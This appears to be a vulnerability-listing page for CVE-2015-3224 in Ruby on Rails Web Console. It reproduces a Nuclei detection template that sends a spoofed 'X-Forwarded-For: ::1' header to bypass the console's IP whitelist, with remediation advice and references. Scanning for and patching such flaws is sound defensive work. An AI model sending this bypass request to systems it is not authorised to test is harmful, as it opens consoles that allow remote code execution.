CVE-2015-3224: Ruby on Rails Web Console - Remote Code Execution

2025-08-01 Ruby on Rails Web Console PoC Public

Description

Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.

PoC

id: CVE-2015-3224

info:
  name: Ruby on Rails Web Console - Remote Code Execution
  author: pdteam
  severity: medium
  description: Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.
  impact: |
    Remote code execution can lead to unauthorized access, data breaches, and complete compromise of the affected system.
  remediation: |
    Upgrade to a patched version of Ruby on Rails or disable the Web Console feature.
  reference:
    - https://www.metahackers.pro/rails-web-console-v2-whitelist-bypass-code-exec/
    - https://www.jomar.fr/posts/2022/basic_recon_to_rce_ii/
    - https://hackerone.com/reports/44513
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3224
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-June/160881.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-3224
    cwe-id: CWE-284
    epss-score: 0.44708
    epss-percentile: 0.98705
    cpe: cpe:2.3:a:rubyonrails:web_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: web_console
  tags: cve2015,cve,ruby,hackerone,rce,rails,intrusive,rubyonrails,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{randstr}}"

    headers:
      X-Forwarded-For: "::1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Rails.root:"
          - "Action Controller: Exception caught"
        condition: and

      - type: word
        part: response
        words:
          - X-Web-Console-Session-Id
          - data-remote-path=
          - data-session-id=
        case-insensitive: true
        condition: or
# digest: 4b0a00483046022100a695d66bf59babee390a0714d2a1fbee0b5a5c2a2880ff224c0e80a632ddf855022100c1f2c973b4b10e86609d33c388b9db6f88a5640218039f6ac0e47fd1fbd4be8f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-3224.yaml

References

Related Vulnerabilities